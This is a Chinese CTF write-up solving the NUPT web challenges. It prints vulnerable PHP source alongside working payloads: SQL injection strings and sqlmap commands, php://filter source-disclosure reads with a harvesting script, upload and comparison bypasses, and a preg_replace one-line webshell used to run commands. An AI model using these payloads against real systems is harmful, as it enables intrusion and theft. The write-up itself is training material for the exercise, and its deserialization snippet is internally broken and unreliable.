南邮ctf-web题解
签到题
直接右键查看源码即可getflag
md5 collision
源码
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
此处利用的是php弱类型的特点,== 在进行比较的时候,会先将字符串类型转化成相同,再比较,例如"admin"==0 比较的时候,会将admin转化成数值,强制转化,由于admin是字符串,转化的结果为0。"1admin"==1 比较的时候会将1admin转化成数值,结果为1,而“admin1“==1 却等于错误,也就是"admin1"被转化成了0。
"0e123456"=="0e456789"相互比较的时候,会将0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等。
0e开头的md5字符串:
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
所以可以直接通过如下payload得到flag:
http://chinalover.sinaapp.com/web19/?a=s878926199a
签到2
直接修改maxlength="99999",然后输入zhimakaimen,即可getflag:
这题不是WEB
直接将页面的2.gif图片下载,然后使用winhex打开,搜索ctf即可得到flag:
层层递进
<iframe>标签中跟着链接依次访问嵌套的SO.html -> S0.html->SO.htm ->S0.htm->404.html ,在404.html注释中找到flag
AAencode
打开以后乱码,使用火狐浏览器的Unicode编码(f10>查看>文字编码>unicode)即可恢复页面。
直接丢进控制台执行即可得到flag:
nctf{javascript_aaencode}
单身二十年
直接使用burpsuite拦截包,然后发送即可getflag。
php decode
题目给出如下代码:
<?php
function CLsI($ZzvSWE) {
$ZzvSWE = gzinflate(base64_decode($ZzvSWE));
for ($i = 0; $i < strlen($ZzvSWE); $i++) {
$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
}
return $ZzvSWE;
}
eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>
因为CLsI()函数返回的是一串字符串,而eval()函数是执行函数,所以将eval改为echo即可。
<?php
function CLsI($ZzvSWE) {
$ZzvSWE = gzinflate(base64_decode($ZzvSWE));
for ($i = 0; $i < strlen($ZzvSWE); $i++) {
$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
}
return $ZzvSWE;
}
echo(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>
文件包含
可以使用如下payload直接读取index.php的源码即可,得到index.php的源码(此源码进过base64加密过了)
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
直接使用python解密即可:
import base64
str = "base64的值"
plantext = base64.b64decode(str).decode('utf-8')
print(plantext)
即可成功得到flag:
关于php的伪协议的应用推荐三篇文章:
http://www.4o4notfound.org/index.php/archives/31/
https://www.cnblogs.com/LittleHann/p/3665062.html
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
单身一百年也没用
flag藏在返回包中,过于简单:
Download~!
此题目无法访问。
COOKIE
将cookie中的login=0改为login=1即可成功getflag
MYSQL
根据提示查看robots.txt
别太开心,flag不在这,这个文件的用途你看完了?
在CTF比赛中,这个文件往往存放着提示信息
TIP:sql.php
<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}
else{
echo($query[content]);
}
}
?>
根据提示信息,我们需要以get方式向sql.php提交一个id,使得intval($_GET[id])
为1024而$_GET[id]==1024
为假。
方式1:传入id=1024.1,intval()函数会把1024.1取整为1024
方式2:利用intval()函数的特性:只识别到非数字的那一位,而松散比较的强制类型转换会把e当作科学记数法的一部分处理,即科传入id=1024e1
GBK Injection
根据标题,明显是宽字节注入,下面简单介绍手工注入和sqlmap宽字节注入的两种方式:
手工注入:
#判断列
1, http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' order by 2--+
#判断回显字段
2, http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,2--+
#查询当前数据库
3, http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,database()--+
#查询所有数据库
4, http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(schema_name) from information_schema.schemata--+
#查询当前数据库下的所有表名
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
#查询ctf4表下的字段名,此处ctf4转换为了16进制(ASCii->hex可以使用bp自带编码)
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634--+
#获取flag字段的值:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(flag) from `sae-chinalover`.ctf4--+
#由于再当前库,也可以直接指定表明即可:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(flag) from ctf4--+
sqlmap注入
方式1:
#使用--tamper=unmagicquotes
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1" --tamper=unmagicquotes -D sae-chinalover -T ctf4 -C flag --dump --hex
/x00
题目源码:
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
此题利用的是ereg函数和strpos的漏洞。
ereg函数漏洞:
1,遇到%00则默认字符串结束
2,碰到参数是数组的返回为null,null不等于false
strpos函数漏洞
strpos函数也是只解析string类型的字符串,给他个数组就不知道如何解析,于是就返回为null。Null不等于false
推荐文章:https://blog.51cto.com/12332766/2149184
所以综上所述,此题解法有两种,给出payload:
payload1:
http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1%00%23biubiubiu
payload2:
http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf[]=1
bypass again
题目源码:
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}
此题的解法依旧有两种:
payload1:
http://chinalover.sinaapp.com/web17/index.php?a[]=1&b[]=2
payload2:
http://chinalover.sinaapp.com/web17/index.php?a=s878926199a&b=s155964671a
变量覆盖
题目关键代码:
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
<?php
extract($_POST);
if ($pass == $thepassword_123) { ?>
<div class="alert alert-success">
<code><?php
echo $theflag; ?></code>
</div>
<?php
} ?>
<?php
} ?>
extract()函数存在变量覆盖漏洞,可以直接post两个参数,pass和thepassword_123并且使得其值都相等即可。
PHP是世界上最好的语言
链接挂了
参考网上的wp:
index.php主要源代码:
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
eregi()函数判断id是否为hackerDJ,大小写敏感。网页会拒绝任何含有hackerDJ
的提交(忽略大小写),但接受urldecode后为hackerDJ
的字符串。
因为url在传入后台时会自动先进行一次url解码,所以这里需要二次编码
hackerDJ
url编码后为%68%61%63%6b%65%72%44%4a
二次编码后为%2568%2561%2563%256b%2565%2572%2544%254a
其中%25是%的url编码。
伪装者
服务端代码错了。此题考察的是ip伪造,ip伪造常用方法:
X-Forwarded-For:
X-Forwarded-Host:
X-Client-IP:
X-remote-IP:
X-remote-addr:
True-Client-IP:
X-Client-IP:
Client-IP:
X-Real-IP:
Header
链接挂了。
上传绕过
1.文件系统0x00截断
在上传的时候,当文件系统读到【0x00】时,会认为文件已经结束。利用00截断就是利用程序员在写程序时对文件的上传路径过滤不严格,产生0x00上传截断漏洞。通过抓包截断将【evil.php.jpg】后面的一个【.】换成【0x00】。在上传的时候,当文件系统读到【0x00】时,会认为文件已经结束,从而将【evil.php.jpg】的内容写入到【evil.php】中,从而达到攻击的目的。 (0x00是16进制值,不可见。)
绕过姿势:首先在如下图将/upload/修改为/upload/1.php+
然后在16进制编辑器中,找到该位置的2b修改为00:如下图:
然后发送该包,即可成功getflag。
SQL注入1
题目源码:
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = trim($_POST[user]);
$pass = md5(trim($_POST[pass]));
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
echo '</br>'.$sql;
$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") {
echo "<p>Logged in! flag:******************** </p>";
}
if($query[user] != "admin") {
echo("<p>You are not admin!</p>");
}
}
echo $query[user];
?>
此题考察简单的sql注入漏洞,直接使用如下payload即可成功getflag:
post:
user=admin')#
pass=admin
pass check
题目源码:
$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>
此题考察的是strcmp函数的漏洞:
函数介绍:
定义用法:
Strcmp(string1,string2)函数比较两个字符串
返回值:
0 - 如果两个字符串相等
<0 - 如果 string1 小于 string2
>0 - 如果 string1 大于 string2
漏洞点:
处理数组的时候返回null
传递数组的时候,函数没有办法比较数组,返回null,php语言本身就是弱类型的语言,null不等于0
所以此题可以直接post如下参数getflag:pass[]=0
起名字真难
源码:
<?php
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>
此题需要使得key的值不为1-9之间的数字,但是又要求其值等于54975581388,将其十进制值转换为十六进制刚好为:ccccccccc,因此直接传入key=0xccccccccc即可成功getflag:
密码重置
打开url发现user1的参数是经过base64编码的,解密为ctfuser,我们只需要把admin经过base64编码,然后传给user1,在将input标签的readonly属性去掉,即可将ctfuser用户修改为admin用户,成功修改admin用户的密码,即可成功getflag:
php 反序列化(暂时无法做)
题目源码:
<?php
class just4fun {
var $enter;
var $secret;
}
if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
if(get_magic_quotes_gpc()){
$pass=stripslashes($pass);
}
$o = unserialize($pass);
if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$o->secret;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>
构造payload:
<?php
class just4fun {
var $enter;
var $secret;
}
$a =new just4fun();
$f->enter=&$f->secret;
$sf = serialize($f);
echo $sf;
?>
输出如下:
O:8:"stdClass":2:{s:6:"secret";N;s:5:"enter";R:2;}
直接将上述payload赋值给pass即可getflag。
SQL Injection
主要源码:
<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
-->
可以采用如下闭合方式:
SELECT * FROM users WHERE name=' username ' AND pass=' password ';
即使得
username=
password=or 1=1--+
最后拼接结果:
SELECT * FROM users WHERE name=' \' AND pass=' or 1=1--+ ';
即使用反斜杠将单引号转义,使得name= \' AND pass=
,则可以成功注入。
即最终payload如下:
http://chinalover.sinaapp.com/web15/index.php?username=\&password=or 1=1--+
综合题
1,首先打开url得到一串jsfuck编码的字符串如下:
2,直接复制到控制台执行即可,得到如下字符串:
3,访问该php文件:
4,得到提示,tip在header中,查看header,发现tip:history of bash
通常在用户的目录下面有一个.bash_history文件,该文件记录着用户的历史命令,我们可以通过dirsearch扫描发现该敏感文件,也可以直接访问该文件即可:
5,访问该文件,得到如下信息,即用户曾经进行过flag的备份:zip -r flagbak.zip ./*
:
6,直接下载flagbak.zip文件,即可得到flag.txt。
SQL注入2
题目源码:
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
使用union select 进行注入:
#另该语句将会使得v01cano的md5值赋值给pw,即5717445c83e6944fa37ab2f19616e033是v01cano的md5。
user=v01cano' union select '5717445c83e6944fa37ab2f19616e033'#&pass=v01cano
综合题2
首先查看源码,访问:http://cms.nuptzj.cn/about.php?file=sm.txt
发现此处的文件读取漏洞:使用php伪协议读取文件源码:
payload如下:
http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=index.php
写了个简易的脚本,将index.php,about.php等php文件读取,并且报存。
import requests
from bs4 import BeautifulSoup
import bs4
import base64
download = ["about.php", "index.php", "so.php", "preview.php", "antiinject.php"]
def gethtml(url):
try:
res = requests.get(url)
if res.status_code == 200:
res.encoding = res.apparent_encoding
return res.text
else:
return None
except:
return None
def parsehtml(html):
try:
soup = BeautifulSoup(html, 'lxml')
if isinstance(soup.select('body')[0], bs4.element.Tag):
str = soup.select('body')[0].string
str1 = base64.b64decode(str).decode('utf-8')
return str1
else:
return None
except:
return None
if __name__ == '__main__':
for i in range(0, len(download)):
html = gethtml("http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource={}".format(download[i]))
with open(download[i], 'a') as f:
if parsehtml(html)== None:
print(html, "文件为空")
else:
f.write(parsehtml(html))
然后观察各个文件,从about.php文件中观察到后台登录目录:loginxlcteam
直接访问即可:
http://cms.nuptzj.cn/loginxlcteam/index.php
观察到so.php存在sql注入漏洞:
so.php代码如下:
<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':<br /> '.antixss($rs['say']).'<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>
发现id参数经过了antiinject.php中的antiinject函数过滤。
查看antiinject.php内容:
<?php
function antiinject($content){
$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
$info=strtolower($content);
for($i=0;$i<=count($keyword);$i++){
$info=str_replace($keyword[$i], '',$info);
}
return $info;
}
?>
发现空格,union,select等关键字都被地换成空了,不过此处关键字可以通过双写绕过,例如将union变为ununionion,空格可以通过注释绕过/**/
。
此处还需要记得将User-Agent修改为Xlcteam Browser,即可对soid参数进行注入:
此题需要同时绕过空格过滤和关键字过滤。本可以使用脚本:
nonrecursivereplacement.py:
关键字双写,可用于关键字过滤
space2comment.py:
用 /**/ 替代空格,用于空格的绕过
使用如下脚本无法进行注入:原因:sqlmap不能同时使用多个tamper进行替换,tamper有一个优先级的问题,例如如下两个tampper,nonrecursivereplacement的优先级为PRIORITY.NORMAL,space2comment的优先级为:PRIORITY.LOW
即:nonrecursivereplacement优先级高于space2comment,优先执行,执行完成后,再尝试space2comment脚本,而无法实现同时替换空格和双写。故如下脚本无法成功执行。
python2 sqlmap.py -u "http://cms.nuptzj.cn/so.php" --data="soid=1" --tamper="space2comment,nonrecursivereplacement" --user-agent="Xlcteam Browser" --dbs --dbms=mysql
手工注入代码如下:
1,首先猜测字段数:
有查询结果
soid=1/**/oorrdoorrderer/**/by/**/4
无查询结果
soid=1/**/oorrdoorrderer/**/by/**/5
猜测字段数为4
2,判断回显位置:
soid=100/**/uunionnion/**/seselectlect/**/1,2,3,4
得出回显字段为2和3,返回结果如下:
3,爆出当前数据库为:sae-exploitblog
soid=100/**/uunionnion/**/seselectlect/**/1,2,database(),4
4,最后使用注入语句注入出用户名和密码:
soid=100/**/uunionnion/**/seselectlect/**/1,(seleselectct/**/usernanameme/**/frofromm/**/adadminmin),(seleselectct/**/userpapassss/**/frofromm/**/adadminmin),4
5,得到经过加密了的密码:102 117 99 107 114 117 110 116 117
6,回头看看提示:
http://cms.nuptzj.cn/about.php?file=sm.txt
发现passencode.php文件提示:读取该文件:
http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=passencode.php
代码如下:
<?php
function passencode($content) {
//$pass=urlencode($content);
$array=str_split($content);
$pass="";
for ($i=0;$i<count($array);$i++) {
if($pass!="") {
$pass=$pass." ".(string)ord($array[$i]);
} else {
$pass=(string)ord($array[$i]);
}
}
return $pass;
}
根据代码写出解密脚本如下:
str = '102 117 99 107 114 117 110 116 117'
array = str.split(' ')
password = ""
for i in range(0, len(array)):
password = password + chr(int(array[i]))
print(password)
得出密码为:fuckruntu
7,使用用户名admin和密码fuckruntu登录该系统
8,得到提示,在文件根目录下面存在小马:xlcteam.php
利用文件读取漏洞将其读出:
http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=xlcteam.php
得到源码如下:
<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '/.*/e',);
array_walk($arr, $e, '');
?>
9,利用一句话小马执行命令,得到flag:
url:
http://cms.nuptzj.cn/xlcteam.php?www=preg_replace
post:
wtf=print_r(scandir('./'))
10,直接访问恭喜你获得flag2.txt即可成功得到flag:
下面自己写个脚本:
https://rmb122.com/2018/05/18/nctf-writeup/
https://pengyang.me/2018/08/19/nctfzh2/
https://foxgrin.github.io/posts/7108/#SQL%E6%B3%A8%E5%85%A51
https://www.smi1e.top/sqlmap-tamper%E7%BC%96%E5%86%99/
密码重置2
1,根据提示1,查看源码即可发现管理员邮箱:[email protected]
2,根据提示2,可以获得.submit.php.swp文件,文件内容如下:
........这一行是省略的代码........
/*
如果登录邮箱地址不是管理员则 die()
数据库结构
--
-- 表的结构 `user`
--
CREATE TABLE IF NOT EXISTS `user` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) NOT NULL,
`email` varchar(255) NOT NULL,
`token` int(255) NOT NULL DEFAULT '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
--
-- 转存表中的数据 `user`
--
INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可见***', '***不可见***', 0);
*/
........这一行是省略的代码........
if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "失败了呀";
}
}
3,得到flag需要使得token的长度为10并且token等于0,有两种绕过方式,第一种就是根据提示3,利用php弱类型的特点,在进行强制类型转换时候会将0e开头的数字串当作科学计数法,0的任何次方依旧是0,所以传值token=0e99999999即可绕过。也可以传值token=0000000000进行绕过。
file_get_contents
题目主要代码:
<!--$file = $_GET['file'];
if(@file_get_contents($file) == "meizijiu"){
echo $nctf;
}-->
直接给出payload:
http://chinalover.sinaapp.com/web23/index.php?file=php://input
post:
meizijiu
这题使用bp提交没有用,我也不知道为啥,用postman提交就ok。
变量覆盖
源码:
<!--foreach($_GET as $key => $value){
$$key = $value;
}
if($name == "meizijiu233"){
echo $flag;
}-->
直接赋值即可getflag:
name=meizijiu233
此题考察变量覆盖漏洞,首先将name取出,赋值给$key,则$$key=$name,
将meizijiu233的值取出,赋值给$value,然后$$key=$value即可成功将使得$name=meizijiu223即可得到flag。